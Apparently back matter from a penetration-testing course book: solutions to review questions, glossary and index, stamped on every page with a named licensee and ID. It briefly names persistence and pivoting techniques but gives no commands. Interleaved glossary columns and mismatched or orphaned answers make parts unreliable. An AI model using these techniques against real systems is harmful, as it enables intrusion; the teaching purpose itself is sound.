• Use Netcat to set up a relay from one target host to another, for pivoting.
• Use Task Scheduler in Windows to run a compromising command or program on a consistent schedule.
• Add commands or programs to the appropriate Registry startup keys to get them to run on Windows boot.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-32 | Solutions
2. You have been assigned to lead a PenTesting team on a client project. Your first choice is to
commence a social engineering attack. What is a major consideration that you should discuss
with your client?
Do they want to keep it secret or will they be telling their employees to expect it? If they tell their employees,
the test may fail.
3. You have been assigned to lead a PenTesting team. You need to set up lines of communication.
What are some of the categories of contacts you should establish?
Some reasons to initiate client communication (the correct answer is any, or all, of the following):
• Status reports
• Critical findings
• Goal reprioritization
2. What is one way that the situation could be addressed if your team’s PenTest attempt is
discovered?
One option is to de-escalate the test—to scale it back, until the defense has been halted. From the client
side, the team that is aware of the PenTest could de-conflict the breach, enabling it to continue.
3. Automated scans have the potential to produce a large number of false positives. There are
several tactics you can employ to identify false positives. What is one of the most effective?
Results validation. Through a validation process, you compare what you've learned about the target
environment to individual scan results and identify whether or not the results are truly applicable and accurate.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-33
3. When using the PTES standard, what classifications of vulnerabilities might your team address?
The systems that were tested, the stakeholders, and whether your team is an internal or external entity.
2. When the target audience of your team’s final PenTest report is C-suite executives, what is an
important consideration?
To ensure that they understand the impact of the findings. (They make their decisions based on results and
recommendations.)
3. In cases where the PenTest target was a project for which developers are particularly
responsible, they will also be directly involved in implementing the resolution and mitigation
techniques that need to be addressed. What type of practices would your team recommend that
they adopt?
Often, these can be addressed through the adoption of Secure Software Development Practices.
There might be an executive section for those who only need a high-level understanding of the results and
their impact. There might be technical section with links to more specialized information that IT personnel
can use to implement your recommendations. You can also create an appendix, providing essential
information in the report and provide separate files with all details. Essentially, you want to normalize data in
the report to make it as clear to the target audience as possible, all while minimizing extraneous information
that just contributes to the noise.
2. Your team’s PenTest report should account for your client’s risk appetite. At the beginning of
the PenTest process, what kinds of questions could you ask them to assess the amount of risk
they would be willing to accept?
The client's key stakeholders need to determine their risk appetite by answering questions such as:
• What processes, technology, or other assets can be unavailable and still enable the organization to
function, and for how long?
• What assets, processes, information, or technology must be available at all times and cannot be made
public or be accessed by unapproved persons?
• Are there any circumstances that could result in personal harm to anyone dealing with the organization,
be it employees, customers, business partners, or visitors?
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-34 | Solutions
3. As a result of receiving your team’s report, you client has asked for some suggestions for
physical intrusion remediations. What would you suggest?
• Security cameras
• Security guards
• Motion detectors
The following are some best practices for the secure handling of reports:
• Minimize the transmission of reports across a public network like the internet.
2. Your client has asked about the common root causes of vulnerabilities. What are some
recurring conditions or common themes that can cause vulnerabilities to emerge?
Some recurring conditions and/or common themes that can be the root cause of vulnerabilities are:
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-35
3. Your colleague is writing their first PenTest report and has asked you for advice. What are some
of the sections you would suggest that they consider including in their report?
• Executive summary
• Scope details
• Methodology
• Attack narrative
• Findings
• Risk rating
• Risk prioritization
• Remediation
• Conclusion
• Checking with any industry standards organizations that the client needs to comply with to see what
guidelines they have for system hardening
• General standards for hardening are offered by ISO, SANS, NIST, CIS (Center for Internet Security),
and more.
• Installing any patches and updates hardware manufacturers and software publishers have available
Ensuring hosts are properly segmented from other hosts on the network
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-36 | Solutions
2. Your company has become very security-aware and wants to protect themselves from malicious
actors. They have heard about multi-factor authentication. They have asked you to explain it to
them so that they understand what it is. What would you say?
3. You have been asked to segment your client’s network to strengthen their security posture.
What is a basic or common method of doing this?
You would determine which services need to be internet-facing, which ones need to be both internet-facing
and internally accessible, and which should be kept internal only. Network segmentation would separate
these into different locations and only certain users and services would be allowed to communicate between
the different segments.
That they implement role-based access control. Only allowing access to specific people who need that
particular information or to go to those special areas in order to perform their job role.
2. You have been asked to train your client’s IT team with a view to improving the standard of
password storage and transmission within the company. What initial advice will you provide?
• For example, use SSH instead of Telnet, HTTPS instead of HTTP, FTPS instead of FTP, etc.
• Ensure network access protocols are using strong ciphers, like AES-256 and RC6.
• Avoid using network access protocols that incorporate weak cryptographic ciphers, like DES and 3DES.
• Disallow or reconfigure services that allow themselves to be negotiated down to a weaker cryptographic
or protocol version.
• Ensure security solutions like IDS and data loss prevention (DLP) can monitor and manage unencrypted
traffic in the network.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Solutions | S-37
3. You have been asked for advice by your client. They need to know what very basic training they
should give to their general employees about cybersecurity awareness. What would you say?
Employees/users should be able to identify why it is important that everyone does their part in keeping the
organization and its assets secure. Their training should include:
• If users find a suspicious device, they should be aware that they need to let the IT department know
about the device
The entry door to the building can be hardened with a keypad/passcode. Biometric controls, i.e., fingerprint
scanners, could also be added. Alternately, multi-factor authentication—a combination of access controls –
could be implemented (passcode + RFID pass, etc.).
2. The company has decided to implement biometric controls. They would like two options to
consider. You have been asked to recommend these. What could they be?
The company could implement fingerprint or iris scanners. It has been proven that these are unique to the
individual and can be controlled by security to prevent an individual’s access to the building in the event of a
dismissal.
3. The company has asked you to provide a report on video surveillance. What are two main
security vulnerabilities in using video surveillance?
The system can be turned off (or wires cut or wireless jammed), thus leaving the company without optical
security. Alternatively, the system can be infiltrated and used against you.
Some common cleanup tasks can include, but are not limited to:
• Delete any new files you created from the affected systems.
• Remove any credentials or accounts you created from the affected systems.
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
S-38 | Solutions
• Remove any shells, RATs, or other backdoors from the affected systems.
• Remove any additional tools you may have left on the affected systems.
2. While you are advising the PenTesting team on cleanup, you should remind them about a
possible tricky situation when removing their active directory (AD) account from a workstation.
What is the thing that they need to watch out for?
If they created an AD account from a domain controller (DC) and then used that account to sign into a
workstation, simply removing the account from the workstation will not remove it from the domain. They
will need access to the DC to delete the AD account, otherwise a real attacker might be able to leverage this
account by using it to sign into a DC.
3. Your team is asking whether using the deletion tool is good enough to get rid of their artifacts,
tools, etc. What should you tell them?
Some of their tools might be loaded into memory and are therefore automatically removed on system
reboot (e.g., certain Metasploit payloads), whereas others linger on the target system until manually
uninstalled. For the latter, a superficial deletion of the tool is not necessarily enough—they may need
to, when possible, securely destroy (also referred to as shredding or purging) the tool’s data and any
associated files so that they cannot be recovered by an attacker or curious user.
Attestation. (Providing evidence to the client that the findings detailed in the PenTest report are true.
In other words, by signing off on the report given to the client, you are attesting that you believe the
information and conclusions in the report are authentic.
2. What should your team recommend to the client to help analyze the progress made in applying
the mitigations to the attack vectors that were found during the penetration test.
A retest.
3. Your team has asked for help in drafting a Lessons Learned Report (LLR). What fundamental
questions should you ask and answer about the PenTest in the report?
• What can the team do to improve its people skills, processes, and technology for future client
engagements?
• What new vulnerabilities, exploits, etc., did the team learn about?
Solutions
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary
1
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-2 | Glossary
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary | G-3
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-4 | Glossary
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary | G-5
undesired actions, such as deleting scans, audits, and monitors the security
important system files in an attempt to infrastructure for signs of attacks in
remove a virus, or sending money or progress.
important information.
intrusion prevention system (IPS)
hook Connect a browser to another Security appliance or software that
device, usually an attacker’s tool or combines detection capabilities with
framework, to execute further attacks. functions that can actively block attacks.
horizontal privilege escalation When IoT data corruption Faults in the
a user accesses or modifies specific information transmitted, stored, or
resources that they are not entitled to. otherwise managed by IoT devices.
hypervisor Software or firmware that Internet Protocol (IP) Network
creates and manages virtual machines (internet) layer protocol in the TCP/IP
on the host hardware. suite providing packet addressing and
routing for all higher level protocols in
Impacket tool An open-source
the suite.
collection of tools used when PenTesting
in a Windows environment that provides jailbreak Removes the protective seal
methods for several attacks, such as and any OS specific restrictions to give
pass the hash, credential dumping and users greater control over the device.
packet sniffing.
jamming An attack in which radio waves
impersonation Social engineering disrupt 802.11 wireless signals.
attack where an attacker pretends to be
job rotation The policy of preventing
someone they are not.
any one individual performing the same
indicator of compromise (IoC) A sign role or tasks for too long. This deters
that an asset or network has been fraud and provides better oversight of
attacked or is currently under attack. the person’s duties.
indicators of prior compromise These Kerberos Single sign-on authentication
artifacts which can provide evidence of and authorization service that is based
a prior Cybersecurity event and could be on a time-sensitive ticket-granting
from malicious sources. system.
Information Systems Security key rotation The process of periodically
Assessment Framework (ISSAF) An generating and implementing new
open-source resource available to access keys to a server/service.
cybersecurity professionals. The ISSAF
lateral movement The process by
is comprised of documents that relate
which an attacker is able to move from
to PenTesting, such as guidelines
one part of a computing environment to
on business continuity and disaster
another.
recovery along with legal and regulatory
compliance. lessons learned report (LLR) An
analysis of events that can provide
infrastructure as a Service (IaaS)
insight into how to improve response
Cloud service model that provisions
processes in the future.
virtual machines and network
infrastructure. lifecycle of a vulnerability A process
that moves from initial discovery of
instant messaging (IM) Real-time
a vulnerability, through mitigation,
text communications products that
management, awareness, and
also support file exchange and remote
documentation.
desktop.
Lightweight Directory Access Protocol
instant messaging spam (SPIM) A
(LDAP) Network protocol used to access
spam attack that is propagated through
network directory databases, which
instant messaging rather than email.
store information about authorized
intrusion detection system (IDS) A users and their privileges, as well as
software and/or hardware system that other organizational information.
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-6 | Glossary
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary | G-7
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-8 | Glossary
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary | G-9
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-10 | Glossary
scapy A tool used to craft and send process itself, so that it can be
malformed packets to a target. intercepted and repeated.
scheduled task Any instance of shell A program that can be used to
execution, such as the initiation of a execute commands usually through a
process or running of a script, that the command-line interface.
system performs on a set schedule.
Short Message Service (SMS) A system
script A series of simple or complex for sending text messages between cell
commands, parameters, variables, and phones.
other components stored in a text file
shoulder surfing Social engineering
and processed by the system.
tactic to obtain someone’s password or
SearchSploit A tool included in the PIN by observing him or her as he or
exploitdb package on Kali Linux that is she types it in.
used to search Exploit DB.
Signal-to-Noise Ratio (SNR) The
secrets management solution A measurement of a wireless signal level
platform that controls passwords, key in relation to any background noise.
pairs and other sensitive information
SMiShing A form of phishing that uses
that should be stored securely.
SMS text messages to trick a victim into
Secure Shell (SSH) Application protocol revealing information.
supporting secure tunneling and remote
snow A CLI steganography tool that
terminal emulation and file copy. SSH
conceals either a plaintext or encrypted
runs over TCP port 22.
data payload within the whitespace of a
securely destroy To not simply delete, text file that uses the ASCII format.
but also overwrite the data, multiple
social engineering toolkit (SET) A set
times, with combinations of 0’s and
of tools included in Kali Linux. SET has
1’s. This is done to guarantee the data
built-in features to help you launch a
cannot be recovered easily.
phishing campaign, create a malicious
Security Account Manager (SAM) A payload, such as a virus, worm, or
registry hive that is stored on disk and Trojan, and embed the payload in a PDF.
has local usernames and passwords in it.
social proof When someone copies
server-side request forgery (SSRF) the actions of others in order to appear
An attack where an attacker takes competent or cooperative in the eyes of
advantage of the trust established others.
between the server and the resources it
Socket Secure (SOCKS) Provides
can access, including itself.
the ability to securely exchange data
service level agreement (SLA) between a client and server using
Agreement that sets the service authentication, so that only authorized
requirements and expectations between users may access a server.
a consumer and a provider.
Software as a Service (SaaS) Cloud
service set identifier (SSID) Character service model that provisions fully
string that identifies a particular wireless developed application services to users.
LAN (WLAN).
software development kit (SDK)
session fixation An attack that forces a Coding resources provided by a vendor
user to browse a website in the context to assist with development projects that
of a known and valid session. use their platform or API.
session hijacking A type of spoofing software development life cycle
attack where the attacker disconnects a (SDLC) The processes of planning,
host then replaces it with his or her own analysis, design, implementation, and
machine, spoofing the original host’s IP maintenance that often govern software
address. and systems development.
session replay This requires having spam Junk messages sent over email
access to the user authentication (or instant messaging, which is called
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Glossary | G-11
spim). It can also be utilized within social another port. This is used to monitor
networking sites. communications passing over the
switch. See also: Port mirroring
spam over internet telephony (SPIT)
Unsolicited phone messages. tailgating Social engineering technique
to gain access to a building by following
spear phishing An email-based or web-
someone who is unaware of their
based form of phishing which targets
presence.
specific individuals.
technical contact The party responsible
spooftooph A tool that can spoof or
for handling the technology elements of
clone a Bluetooth enabled device.
the activity.
stack multiple queries The process of
technical staff The personnel that
modifying the SQL query to include new
maintains the system that was tested.
query type.
The Onion Router (TOR) Redirects
statement of work (SOW) A document
connections through proxy servers in
that defines the expectations for a
order to provide a method to exchange
specific business arrangement.
data anonymously.
static application security testing
third-party stakeholders People not
(SAST) Testing that is done early in
directly involved with the client but may
the software development life cycle
still be involved in a process related to
to examine the code for security
the penetration test report.
vulnerabilities.
ticket granting ticket (TGT) In
static code analysis The process of
Kerberos, a token issued to an
reviewing uncompiled source code
authenticated account to allow access to
either manually or using automated
authorized application servers.
tools.
time of day restrictions Policies or
status reports The regular progress
configuration settings that limit a user’s
briefings with the client.
access to resources.
Steghide An open-source tool used to
time-based blind SQLi The process of
conceal a payload in either an image or
injecting SQL queries with time delays.
audio file.
TimeStomp A tool in Metasploit
Steghide UI A GUI companion to the CLI
that allows you to delete or modify
version of Steghide.
timestamp-related information on files.
storage area network (SAN) Network
topology Network specification that
dedicated to provisioning storage
determines the network’s overall layout,
resources, typically consisting of storage
signaling, and dataflow patterns.
devices and servers connected to
switches via host bus adapters. Trojan A malicious software program
hidden within an innocuous-seeming
Structured Query Language injection
piece of software. Usually, the Trojan is
(SQL injection) An attack that injects
used to try to compromise the security
a database query into the input data
of the target computer.
directed at a server by accessing the
client side of the application. typosquatting (URL hijacking) An
attack—also called typosquatting—in
supplicant In EAP architecture, the
which an attacker registers a domain
device requesting access to the network.
name with a common misspelling of
supply chain attack An attack that an existing domain, so that a user
targets the end-to-end process of who misspells a URL they enter into
manufacturing, distributing, and a browser is taken to the attacker’s
handling goods and services. website.
switched port analysis (SPAN) Copying unauthorized hacker A hacker
ingress and/or egress communications operating with malicious intent.
from one or more switch ports to
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
G-12 | Glossary
Glossary
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index
Page numbers with Italics represent charts, graphs, and diagrams.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-2 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-3
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-4 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-5
gathering essential, 51–56 dependency vulnerabilities, DNS. see Domain Name System
archived websites, 250 (DNS)
finding, 54 deperimeterization, 249 document, in lifecycle, 101
image searches, 54–55 deployment models, 246–248 Document Object Model
public source-code access control, 247 (DOM)-based attack, 303
repositories, 51, 51–52 BYOD, 246 document properties, 416
search results, COBO, 246 domain, in AD, 198, 199
optimizing, 52–53, 53 COPE, 246 Domain Name System (DNS),
IoT corruption, 302 CYOD, 246 158–161
modification, 102, 273 EMM, 247–248 amplification attack, 223
sensitive detection, evading, 168–176 cache poisoning, 203
in cleartext, 438 bypassing NAC, 171 enumerating, 195
exposing, 102 commands used to avoid flood attack, 223
in IoT, 271 detection, 168 information, 46–49
test, destroying, 448 covering tracks, 172–175 DNS records, 47, 47
databases, scanning, 116–117 LoTL attacks, 171–172 MX record, 46
Datapipe, 112 slowing scans, 170–171 NS record, 46
data protection, 102 spoofing, 169–170 SRV record, 47
data storage systems, 275, decoys, 169, 169 tools to perform
275–276 fake IP address, 170 queries, 47
configuration of, 276 fake MAC address, 170 TXT record, 47
data center, 275 modifying port number, Whois for querying data,
storage examples, 276 170 47–49, 48
dBi (decibels per isotropic), 139 developers, 405 normal behavior,
DCOM (Distributed Component DF (Don’t Fragment) bit, 153 recognizing, 159
Object Model), 369 DHCP (Dynamic Host poisoning the cache, 161
DDoS (distributed denial-of- Configuration Protocol), 133 port 53, 124
service) attacks, 222 dictionary attack, 359 server, 273
deauthenticating clients, 232 Dig, 47 testing, 158–159
debugging digital rights management zone transfer, 159–160, 160
applications, 263–264 (DRM), 323 domains, 25
tools, 324, 325 DirBuster, 196, 305, 362 DOM (Document Object
decibels per isotropic (dBi), 139 Direct Attached Storage (DAS), Model)-based attack, 303
decode, in packet crafting, 116 276 Don’t Fragment (DF) bit, 153
decompilation, 323–324 directional antenna, 139 DoS attacks. see denial-of-
deconflict, 394, 394 directory traversal, 300–301 service (DoS) attacks
decoys, 169, 169 direct-to-origin attacks (D2O), downstream liability, 81
dedicated firewalls, 110–111 220 Dradis, 398, 398
de-escalate, 394 disassembler/debugger tools, drive by downloads, 254
denial-of-service (DoS) attacks, 324, 325 Driver’s Privacy Protection Act,
30 disassembly, 324 35
distributed, 222 discover, in lifecycle, 101 DRM (digital rights
examples of, 223 discovery scan, 122–123, 123 management), 323
launching, 223 discovery scripts, 148 Drozer, 263
in Metasploit, launching, Distributed Component Object DTP (Dynamic Trunking
210 Model (DCOM), 369 Protocol), 202, 203
packet storm for, launching, distributed denial-of-service dumping hashes, 358, 371
210 (DDoS) attacks, 222 dumpster diving, 89–90
resource exhaustion, 222 DLL hijacking, 374 Dyn, 272
triggering, 271–272, 273 DLL (Dynamic Link Libraries) dynamic analysis, 262
denial-of-sleep attack, 222, 272 hijacking, 221 Dynamic Application Security
Testing (DAST), 128, 261
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-6 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-7
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-8 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-9
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-10 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-11
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-12 | Index
ping sweep, 122–124, 123 NVD (National Vulnerability Open Vulnerability Assessment
port scanning, 123, 123–124 Database), 16 Scanner (OpenVAS), 106, 107,
scans 115, 115
to determine operating O Open Web Application Security
system, 152–153 Project (OWASP), 12–13, 57,
obfuscate a known signature,
to determine 262
112
vulnerabilities, 159 Testing Guide (OTG), 13
ObfuscatedEmpire, 112
discovery, 122–123, 123, Top Ten, 290, 291, 292
Objection, 263
150–152 ZAP (Zed Attack Proxy), 305
object-oriented programming
discovery scan, 147 operational considerations,
(OOP)
to evaluate DNS and 439–440
classes, 345
web logs, 158–161 job rotation, 439
functions, 344
to examine network mandatory vacations, 440
libraries, 345
traffic, 155–158 time of day restrictions, 440
modules, 345
to expose vulnerable user training, 440
Python, 333
web servers, 161–163 operational controls. see
observation, in elicitation, 77
formats for outputting administrative and operational
OCSP (Online Certificate Status
results, 156 controls
Protocol), 62–63, 63
output from, analyzing, operators, 340–342
official documents, 90
155–164 arithmetic, 341–342
OllyDbg, 325
against proxies, 189 Boolean, 340–341
omni-directional antenna, 139
slowing, 170–171 string, 342
one-liner, 319–321
TCP SYN, 168, 170 organizational contacts, 45–46
The Onion Router (TOR), 188
scripting, 112, 146–148, 147, job listings, 46
Online Certificate Status
148 social media, 45
Protocol (OCSP), 62–63, 63
spoofing options, 169–170 organizational information,
online/offline password
TCP, 145 67–69
attacks, 358–360
UDP, 145–146 monitoring responses on a
on-path attack, 234–236, 236
vulnerability scanning, 106 login page, 67, 67
bypassing NAC, 170
zone transfer, 160 Recon-ng, 69, 69
launching, 203
Nmap Scripting Engine (NSE), theHarvester, 68, 68–69
spoofing, 203–204
103, 103, 146–148, 148 organizational PenTesting,
SSL/TLS downgrading/
noncredentialed scan, 127 defining, 2–7
stripping attack, 203
Nondisclosure agreement organizational units (OU) in AD,
Wi-Fi Pineapple, 203
(NDA), 35 199
on-site/off-site locations, 26, 26
non-interactive shell, origin settings, in cloud,
OOP. see object-oriented
upgrading, 296 216–217
programming (OOP)
nonintrusive scans, 106 OS fingerprinting, 152–153
OpenDocument format, 67
NoPowerShell, 313 active, 152, 152–153
open-source intelligence
normal output, 156 elements to determine OS,
(OSINT), 43, 58, 65–72
note taking, 417 153
Maltego, 70, 70–71
NSE (Nmap Scripting Engine), passive, 152
metadata searches, 66–67
103, 103, 146–148, 148 OS footprinting, 41–73, 150,
organizational information,
Nslookup, 47 158
researching, 67–69
NS (nameserver) record, 46 data, gathering essential,
OSINT, 65
NT hash, 361 51–56
Shodan, 71
NTP amplification attack, 223 open-source intelligence
OpenStego, 178–179, 179
null byte, 301 tools, discovering, 65–72
OpenVAS (Open Vulnerability
null byte sanitization, 428 target, discovering, 42–50
Assessment Scanner), 106, 107,
NULL scan, 125, 126 website enumeration,
115, 115
NULL value, 234 57–63
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-13
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-14 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-15
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-16 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-17
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-18 | Index
spam over internet telephony SSRF (server-side request subject alternative name (SAN),
(SPIT), 79 forgery) attack, 295 60–61
SPAN (Switched Port Analysis), stack multiple queries, 300 subnets, 104, 105
131 standards and methodologies, suites of tools, 261
spear phishing, 79 12–17 supervisory control and data
Spearphishing attack, 69 NIST, 13 acquisition (SCADA) system,
specialized systems, attacking, OSSTMM, 13 276
267–287 OWASP, 12–13 supplicant (or Wi-Fi client),
IoT attacks, 268–274 startup locations, 383 234–235
virtual environments, Statement of Work (SOW), 37, supply chain attack, 81, 81
280–286 37 surveys, in elicitation, 77
vulnerable systems, static analysis, 262 SVG (Scalable Vector Graphics),
275–286 Static Application Security 67
spim (instant messaging Testing (SAST), 128, 261 Swiss Army knife. see Netcat
spam), 79 static code analysis, 306, 323 Switched Port Analysis (SPAN),
SPIT (spam over internet status reports, 393 131
telephony), 79 stealth scans, 125, 125–126 SYN ACK, 126
SPN (Service Principal Names), steganography, 177–184 SYN flood, 223
205 elements, 177 synthesizing images, 181–183
spoofing, 169–170, 203–204, masking using alternate Coagula, 181–182, 182
273 methods, 179–181 Sonic Visualizer, 181, 182,
call, 94–95, 95 NTFS alternate data 183, 183
decoys, 169, 169 streams, 179 whitespace, 180–181,
fake IP address, 170 stego tools, 177–179 180–181
fake MAC address, 170 OpenStego, 178–179, system hacking, 311–327
modifying port number, 179 exploit code, 319–326
170 Steghide, 177, 178, 178 .NET and .NET Framework,
social, 83 synthesizing images, 312
VoIP, 94 181–183 PowerShell, 312
spyware, 253, 255 Steghide, 177, 178, 178 tools for, 312–313, 313,
SQL (Structured Query Steghide UI, 178 315–318
Language), 290 StegoSuite, 177
SQL injection (SQLi) attacks, 57, Stop Hacks and Improve T
111, 117, 299–300 Electronic Data Security
tailgating attack, 89
blind SQL injection, 300 (SHIELD), 10
target, discovering, 42–50
Boolean-based blind SQLi, storage
DNS information,
300 cloud, 217
examining, 46–49
scanner tool, 306 data storage systems, 275,
information, gathering,
stack multiple queries, 300 275–276
42–45
time-based blind SQLi, 300 drives, 90
organizational contacts,
SQLmap, 117, 117, 306 mobile devices, 250
identifying, 45–46
SQL server, 117 reports, 415, 416
Target breach of 2014, 59
SQL-specific vulnerabilities, 117 of sensitive data in
Task Scheduler, 383–384
SRV (service) record, 47 cleartext, 438
TCP. see Transmission Control
SSH (Secure Shell Socket), 186 Storage Area Network (SAN),
Protocol (TCP)
SSH pivoting, 370 276
technical contacts, 391
SSID (Service Set Identifiers), 26 stored attack, 302
technical controls, 2, 426–432
SSL (Secure Sockets Layer), 57, strained infrastructure, 249
hardening the systems, 426
118 string operators, 342
sanitizing user input/
ssl-enum-ciphers, 352 Structured Query Language
parameterized queries,
SSL/TLS downgrading/stripping (SQL), 290
427–428
attack, 203 subdomains, 25
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-19
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-20 | Index
user account information, guest operating systems lifecycle of, 100, 100–101
capturing, 131, 132 (virtual machines or mobile devices, 246–252
user application compromise, instances), 280 business logic process,
373, 375 host-based model, 281, 249–250
user authentication method, 281 deployment models,
235 host hardware, 280 246–248
User Datagram Protocol (UDP) VMM, 280 identifying, 248–250
Nmap scanning, 145–146 vulnerabilities, 282–284 mobile operating
packets, 273 containers, monitoring, systems, 248–249
Ping, 123 283, 283–284 repercussions of attack,
ports, 117 VM repository, 282–283 101–102
vulnerability scanning, VM sprawl, 282 risk gap, 102
145–146 Virtual Local Area Networks scripts, 148
users (VLANs), 105, 134, 202–203 understanding, 100
in AD, 199 virtual machine (VM), 280–286 unknown or unpublished,
enumeration of, 321 in cloud, 216 101–102
as in-scope assets, 25 repository, 282–283 zero-day, 101, 101
training, 440 sprawl, 282 see also web vulnerabilities
UTM (unified threat see also virtual vulnerability scanners, 106,
management), 3–4 environments 117
Virtual Network Computing vulnerability scanning, 99–120,
V (VNC), 368 121–141
viruses, 253 ARP traffic, 135
validating server certificate,
vishing, 79, 254 automating, 128
235
vision control, 416 bandwidth limitations, 106
variables, 337–338
Visual Basic Scripts (VBScript), cause false results, 110
Bash, 338
172 DAST, 128
describing, 337
VLAN hopping, 202–203 defenses, detecting,
JavaScript, 338
VLANs (Virtual Local Area 109–113
Perl, 338
Networks), 105, 134, 202–203 antivirus/antimalware
PowerShell, 338
VM. see virtual machine (VM) protection, 112
Python, 338
VMM (Hypervisor/Virtual firewalls, 110–112
Ruby, 338
Machine Monitor), 280 load balancers, 109,
types of, defining, 337
VNC (Virtual Network 109–110, 110
Varonis’ blog series, 332
Computing), 368 discovery scan, 122–123,
VBScript (Visual Basic Scripts),
Voice over IP (VoIP), 79–80, 94, 123, 150–152
172
95 fragile systems, 106
verbose comments in source
volumetric attacks, 222 full scan or TCP connect
code, 437
VPN pivoting, 370 scan, 125
vertical privilege escalation,
vulnerability identified targets, 122–129
296, 372–373
actively seeking out intrusive/nonintrusive, 106
video surveillance, 442
(reconnaissance), 101–105 Nessus, 133–135
violation reporting, in GDPR, 10
(see also vulnerability network traffic, 130–136
virtual environments, 280–286
scanning) Nmap
attacking, 284–285
banner grabbing, against proxies, 189
escaping virtual
102–104, 103, 104 for scripting, 146–148,
environment, 284–285
network mapping, 147, 148
hypervisor,
104–105 slowing, 170–171
hyperjacking, 285
data protection, 102 TCP SYN scan, 168, 170
outlining, 280–282, 281
defined, 3 operating system
bare metal model, 281,
finding and identifying, determined by, 152, 152–153
281–282
101–102, 419
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Index | I-21
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
I-22 | Index
Index
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023